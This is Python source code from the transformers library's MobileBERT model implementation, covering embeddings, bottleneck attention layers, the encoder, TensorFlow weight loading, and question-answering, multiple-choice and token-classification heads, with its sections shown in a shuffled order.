output_type=QuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
start_positions=None,
end_positions=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return QuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with a multiple choice classification head on top (a linear layer on top of the pooled output and
a softmax) e.g. for RocStories/SWAG tasks.
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForMultipleChoice with Bert->MobileBert all-casing
class MobileBertForMultipleChoice(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, 1)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(
MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length")
)
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the multiple choice classification loss. Indices should be in ``[0, ...,
num_choices-1]`` where :obj:`num_choices` is the size of the second dimension of the input tensors. (See
:obj:`input_ids` above)
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
inputs_embeds = (
inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
if inputs_embeds is not None
else None
)
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
reshaped_logits = logits.view(-1, num_choices)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(reshaped_logits, labels)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return MultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g.
for Named-Entity-Recognition (NER) tasks.
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForTokenClassification with Bert->MobileBert all-casing
class MobileBertForTokenClassification(MobileBertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.mobilebert = MobileBertModel(config, add_pooling_layer=False)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels -
1]``.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output)
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
# Only keep active parts of the loss
if attention_mask is not None:
active_loss = attention_mask.view(-1) == 1
active_logits = logits.view(-1, self.num_labels)
active_labels = torch.where(
active_loss, labels.view(-1), torch.tensor(loss_fct.ignore_index).type_as(labels)
)
loss = loss_fct(active_logits, active_labels)
else:
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
| # MIT License
#
# Copyright (c) 2020 The Google AI Language Team Authors, The HuggingFace Inc. team and github/lonePatient
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import math
import os
import warnings
from dataclasses import dataclass
from typing import Optional, Tuple
import torch
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...file_utils import (
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
replace_return_docstrings,
)
from ...modeling_outputs import (
BaseModelOutput,
BaseModelOutputWithPooling,
MaskedLMOutput,
MultipleChoiceModelOutput,
NextSentencePredictorOutput,
QuestionAnsweringModelOutput,
SequenceClassifierOutput,
TokenClassifierOutput,
)
from ...modeling_utils import PreTrainedModel, find_pruneable_heads_and_indices, prune_linear_layer
from ...utils import logging
from .configuration_mobilebert import MobileBertConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "google/mobilebert-uncased"
_CONFIG_FOR_DOC = "MobileBertConfig"
_TOKENIZER_FOR_DOC = "MobileBertTokenizer"
MOBILEBERT_PRETRAINED_MODEL_ARCHIVE_LIST = ["google/mobilebert-uncased"]
def load_tf_weights_in_mobilebert(model, config, tf_checkpoint_path):
"""Load tf checkpoints in a pytorch model."""
try:
import re
import numpy as np
import tensorflow as tf
except ImportError:
logger.error(
"Loading a TensorFlow model in PyTorch, requires TensorFlow to be installed. Please see "
"https://www.tensorflow.org/install/ for installation instructions."
)
raise
tf_path = os.path.abspath(tf_checkpoint_path)
logger.info(f"Converting TensorFlow checkpoint from {tf_path}")
# Load weights from TF model
init_vars = tf.train.list_variables(tf_path)
names = []
arrays = []
for name, shape in init_vars:
logger.info(f"Loading TF weight {name} with shape {shape}")
array = tf.train.load_variable(tf_path, name)
names.append(name)
arrays.append(array)
for name, array in zip(names, arrays):
name = name.replace("ffn_layer", "ffn")
name = name.replace("FakeLayerNorm", "LayerNorm")
name = name.replace("extra_output_weights", "dense/kernel")
name = name.replace("bert", "mobilebert")
name = name.split("/")
# adam_v and adam_m are variables used in AdamWeightDecayOptimizer to calculated m and v
# which are not required for using pretrained model
if any(
n in ["adam_v", "adam_m", "AdamWeightDecayOptimizer", "AdamWeightDecayOptimizer_1", "global_step"]
for n in name
):
logger.info(f"Skipping {'/'.join(name)}")
continue
pointer = model
for m_name in name:
if re.fullmatch(r"[A-Za-z]+_\d+", m_name):
scope_names = re.split(r"_(\d+)", m_name)
else:
scope_names = [m_name]
if scope_names[0] == "kernel" or scope_names[0] == "gamma":
pointer = getattr(pointer, "weight")
elif scope_names[0] == "output_bias" or scope_names[0] == "beta":
pointer = getattr(pointer, "bias")
elif scope_names[0] == "output_weights":
pointer = getattr(pointer, "weight")
elif scope_names[0] == "squad":
pointer = getattr(pointer, "classifier")
else:
try:
pointer = getattr(pointer, scope_names[0])
except AttributeError:
logger.info(f"Skipping {'/'.join(name)}")
continue
if len(scope_names) >= 2:
num = int(scope_names[1])
pointer = pointer[num]
if m_name[-11:] == "_embeddings":
pointer = getattr(pointer, "weight")
elif m_name == "kernel":
array = np.transpose(array)
try:
assert (
pointer.shape == array.shape
), f"Pointer shape {pointer.shape} and array shape {array.shape} mismatched"
except AssertionError as e:
e.args += (pointer.shape, array.shape)
raise
logger.info(f"Initialize PyTorch weight {name}")
pointer.data = torch.from_numpy(array)
return model
class NoNorm(nn.Module):
def __init__(self, feat_size, eps=None):
super().__init__()
self.bias = nn.Parameter(torch.zeros(feat_size))
self.weight = nn.Parameter(torch.ones(feat_size))
def forward(self, input_tensor):
return input_tensor * self.weight + self.bias
NORM2FN = {"layer_norm": nn.LayerNorm, "no_norm": NoNorm}
class MobileBertEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config):
super().__init__()
self.trigram_input = config.trigram_input
self.embedding_size = config.embedding_size
self.hidden_size = config.hidden_size
self.word_embeddings = nn.Embedding(config.vocab_size, config.embedding_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
embed_dim_multiplier = 3 if self.trigram_input else 1
embedded_input_size = self.embedding_size * embed_dim_multiplier
self.embedding_transformation = nn.Linear(embedded_input_size, config.hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.hidden_size)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
def forward(self, input_ids=None, token_type_ids=None, position_ids=None, inputs_embeds=None):
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, :seq_length]
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
if inputs_embeds is None:
inputs_embeds = self.word_embeddings(input_ids)
if self.trigram_input:
# From the paper MobileBERT: a Compact Task-Agnostic BERT for Resource-Limited
# Devices (https://arxiv.org/abs/2004.02984)
#
# The embedding table in BERT models accounts for a substantial proportion of model size. To compress
# the embedding layer, we reduce the embedding dimension to 128 in MobileBERT.
# Then, we apply a 1D convolution with kernel size 3 on the raw token embedding to produce a 512
# dimensional output.
inputs_embeds = torch.cat(
[
nn.functional.pad(inputs_embeds[:, 1:], [0, 0, 0, 1, 0, 0], value=0),
inputs_embeds,
nn.functional.pad(inputs_embeds[:, :-1], [0, 0, 1, 0, 0, 0], value=0),
],
dim=2,
)
if self.trigram_input or self.embedding_size != self.hidden_size:
inputs_embeds = self.embedding_transformation(inputs_embeds)
# Add positional embeddings and token type embeddings, then layer
# normalize and perform dropout.
position_embeddings = self.position_embeddings(position_ids)
token_type_embeddings = self.token_type_embeddings(token_type_ids)
embeddings = inputs_embeds + position_embeddings + token_type_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
class MobileBertSelfAttention(nn.Module):
def __init__(self, config):
super().__init__()
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.true_hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.true_hidden_size, self.all_head_size)
self.key = nn.Linear(config.true_hidden_size, self.all_head_size)
self.value = nn.Linear(
config.true_hidden_size if config.use_bottleneck_attention else config.hidden_size, self.all_head_size
)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
def transpose_for_scores(self, x):
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(*new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
query_tensor,
key_tensor,
value_tensor,
attention_mask=None,
head_mask=None,
output_attentions=None,
):
mixed_query_layer = self.query(query_tensor)
mixed_key_layer = self.key(key_tensor)
mixed_value_layer = self.value(value_tensor)
query_layer = self.transpose_for_scores(mixed_query_layer)
key_layer = self.transpose_for_scores(mixed_key_layer)
value_layer = self.transpose_for_scores(mixed_value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in BertModel forward() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = nn.functional.softmax(attention_scores, dim=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(*new_context_layer_shape)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
return outputs
class MobileBertSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.use_bottleneck = config.use_bottleneck
self.dense = nn.Linear(config.true_hidden_size, config.true_hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.true_hidden_size, eps=config.layer_norm_eps)
if not self.use_bottleneck:
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, residual_tensor):
layer_outputs = self.dense(hidden_states)
if not self.use_bottleneck:
layer_outputs = self.dropout(layer_outputs)
layer_outputs = self.LayerNorm(layer_outputs + residual_tensor)
return layer_outputs
class MobileBertAttention(nn.Module):
def __init__(self, config):
super().__init__()
self.self = MobileBertSelfAttention(config)
self.output = MobileBertSelfOutput(config)
self.pruned_heads = set()
def prune_heads(self, heads):
if len(heads) == 0:
return
heads, index = find_pruneable_heads_and_indices(
heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads
)
# Prune linear layers
self.self.query = prune_linear_layer(self.self.query, index)
self.self.key = prune_linear_layer(self.self.key, index)
self.self.value = prune_linear_layer(self.self.value, index)
self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
# Update hyper params and store pruned heads
self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
self.pruned_heads = self.pruned_heads.union(heads)
def forward(
self,
query_tensor,
key_tensor,
value_tensor,
layer_input,
attention_mask=None,
head_mask=None,
output_attentions=None,
):
self_outputs = self.self(
query_tensor,
key_tensor,
value_tensor,
attention_mask,
head_mask,
output_attentions,
)
# Run a linear projection of `hidden_size` then add a residual
# with `layer_input`.
attention_output = self.output(self_outputs[0], layer_input)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
class MobileBertIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.true_hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
class OutputBottleneck(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.true_hidden_size, config.hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, residual_tensor):
layer_outputs = self.dense(hidden_states)
layer_outputs = self.dropout(layer_outputs)
layer_outputs = self.LayerNorm(layer_outputs + residual_tensor)
return layer_outputs
class MobileBertOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.use_bottleneck = config.use_bottleneck
self.dense = nn.Linear(config.intermediate_size, config.true_hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.true_hidden_size)
if not self.use_bottleneck:
self.dropout = nn.Dropout(config.hidden_dropout_prob)
else:
self.bottleneck = OutputBottleneck(config)
def forward(self, intermediate_states, residual_tensor_1, residual_tensor_2):
layer_output = self.dense(intermediate_states)
if not self.use_bottleneck:
layer_output = self.dropout(layer_output)
layer_output = self.LayerNorm(layer_output + residual_tensor_1)
else:
layer_output = self.LayerNorm(layer_output + residual_tensor_1)
layer_output = self.bottleneck(layer_output, residual_tensor_2)
return layer_output
class BottleneckLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intra_bottleneck_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.intra_bottleneck_size, eps=config.layer_norm_eps)
def forward(self, hidden_states):
layer_input = self.dense(hidden_states)
layer_input = self.LayerNorm(layer_input)
return layer_input
class Bottleneck(nn.Module):
def __init__(self, config):
super().__init__()
self.key_query_shared_bottleneck = config.key_query_shared_bottleneck
self.use_bottleneck_attention = config.use_bottleneck_attention
self.input = BottleneckLayer(config)
if self.key_query_shared_bottleneck:
self.attention = BottleneckLayer(config)
def forward(self, hidden_states):
# This method can return three different tuples of values. These different values make use of bottlenecks,
# which are linear layers used to project the hidden states to a lower-dimensional vector, reducing memory
# usage. These linear layer have weights that are learned during training.
#
# If `config.use_bottleneck_attention`, it will return the result of the bottleneck layer four times for the
# key, query, value, and "layer input" to be used by the attention layer.
# This bottleneck is used to project the hidden. This last layer input will be used as a residual tensor
# in the attention self output, after the attention scores have been computed.
#
# If not `config.use_bottleneck_attention` and `config.key_query_shared_bottleneck`, this will return
# four values, three of which have been passed through a bottleneck: the query and key, passed through the same
# bottleneck, and the residual layer to be applied in the attention self output, through another bottleneck.
#
# Finally, in the last case, the values for the query, key and values are the hidden states without bottleneck,
# and the residual layer will be this value passed through a bottleneck.
bottlenecked_hidden_states = self.input(hidden_states)
if self.use_bottleneck_attention:
return (bottlenecked_hidden_states,) * 4
elif self.key_query_shared_bottleneck:
shared_attention_input = self.attention(hidden_states)
return (shared_attention_input, shared_attention_input, hidden_states, bottlenecked_hidden_states)
else:
return (hidden_states, hidden_states, hidden_states, bottlenecked_hidden_states)
class FFNOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.true_hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.true_hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states, residual_tensor):
layer_outputs = self.dense(hidden_states)
layer_outputs = self.LayerNorm(layer_outputs + residual_tensor)
return layer_outputs
class FFNLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.intermediate = MobileBertIntermediate(config)
self.output = FFNOutput(config)
def forward(self, hidden_states):
intermediate_output = self.intermediate(hidden_states)
layer_outputs = self.output(intermediate_output, hidden_states)
return layer_outputs
class MobileBertLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.use_bottleneck = config.use_bottleneck
self.num_feedforward_networks = config.num_feedforward_networks
self.attention = MobileBertAttention(config)
self.intermediate = MobileBertIntermediate(config)
self.output = MobileBertOutput(config)
if self.use_bottleneck:
self.bottleneck = Bottleneck(config)
if config.num_feedforward_networks > 1:
self.ffn = nn.ModuleList([FFNLayer(config) for _ in range(config.num_feedforward_networks - 1)])
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
output_attentions=None,
):
if self.use_bottleneck:
query_tensor, key_tensor, value_tensor, layer_input = self.bottleneck(hidden_states)
else:
query_tensor, key_tensor, value_tensor, layer_input = [hidden_states] * 4
self_attention_outputs = self.attention(
query_tensor,
key_tensor,
value_tensor,
layer_input,
attention_mask,
head_mask,
output_attentions=output_attentions,
)
attention_output = self_attention_outputs[0]
s = (attention_output,)
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
if self.num_feedforward_networks != 1:
for i, ffn_module in enumerate(self.ffn):
attention_output = ffn_module(attention_output)
s += (attention_output,)
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output, hidden_states)
outputs = (
(layer_output,)
+ outputs
+ (
torch.tensor(1000),
query_tensor,
key_tensor,
value_tensor,
layer_input,
attention_output,
intermediate_output,
)
+ s
)
return outputs
class MobileBertEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.layer = nn.ModuleList([MobileBertLayer(config) for _ in range(config.num_hidden_layers)])
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
output_attentions=False,
output_hidden_states=False,
return_dict=True,
):
all_hidden_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_outputs = layer_module(
hidden_states,
attention_mask,
head_mask[i],
output_attentions,
)
hidden_states = layer_outputs[0]
if output_attentions:
all_attentions = all_attentions + (layer_outputs[1],)
# Add last layer
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(v for v in [hidden_states, all_hidden_states, all_attentions] if v is not None)
return BaseModelOutput(
last_hidden_state=hidden_states, hidden_states=all_hidden_states, attentions=all_attentions
)
class MobileBertPooler(nn.Module):
def __init__(self, config):
super().__init__()
self.do_activate = config.classifier_activation
if self.do_activate:
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
def forward(self, hidden_states):
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
if not self.do_activate:
return first_token_tensor
else:
pooled_output = self.dense(first_token_tensor)
pooled_output = torch.tanh(pooled_output)
return pooled_output
class MobileBertPredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = NORM2FN["layer_norm"](config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
class MobileBertLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = MobileBertPredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.dense = nn.Linear(config.vocab_size, config.hidden_size - config.embedding_size, bias=False)
self.decoder = nn.Linear(config.embedding_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = hidden_states.matmul(torch.cat([self.decoder.weight.t(), self.dense.weight], dim=0))
hidden_states += self.decoder.bias
return hidden_states
class MobileBertOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = MobileBertLMPredictionHead(config)
def forward(self, sequence_output):
prediction_scores = self.predictions(sequence_output)
return prediction_scores
class MobileBertPreTrainingHeads(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = MobileBertLMPredictionHead(config)
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, sequence_output, pooled_output):
prediction_scores = self.predictions(sequence_output)
seq_relationship_score = self.seq_relationship(pooled_output)
return prediction_scores, seq_relationship_score
class MobileBertPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = MobileBertConfig
pretrained_model_archive_map = MOBILEBERT_PRETRAINED_MODEL_ARCHIVE_LIST
load_tf_weights = load_tf_weights_in_mobilebert
base_model_prefix = "mobilebert"
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, nn.Linear):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
elif isinstance(module, (nn.LayerNorm, NoNorm)):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
@dataclass
class MobileBertForPreTrainingOutput(ModelOutput):
"""
Output type of :class:`~transformers.MobileBertForPreTraining`.
Args:
loss (`optional`, returned when ``labels`` is provided, ``torch.FloatTensor`` of shape :obj:`(1,)`):
Total loss as the sum of the masked language modeling loss and the next sequence prediction
(classification) loss.
prediction_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
seq_relationship_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, 2)`):
Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
before SoftMax).
hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
of shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,
sequence_length, sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
prediction_logits: torch.FloatTensor = None
seq_relationship_logits: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
MOBILEBERT_START_DOCSTRING = r"""
This model inherits from :class:`~transformers.PreTrainedModel`. Check the superclass documentation for the generic
methods the library implements for all its model (such as downloading or saving, resizing the input embeddings,
pruning heads etc.)
This model is also a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`__
subclass. Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to
general usage and behavior.
Parameters:
config (:class:`~transformers.MobileBertConfig`): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model
weights.
"""
MOBILEBERT_INPUTS_DOCSTRING = r"""
Args:
input_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`):
Indices of input sequence tokens in the vocabulary.
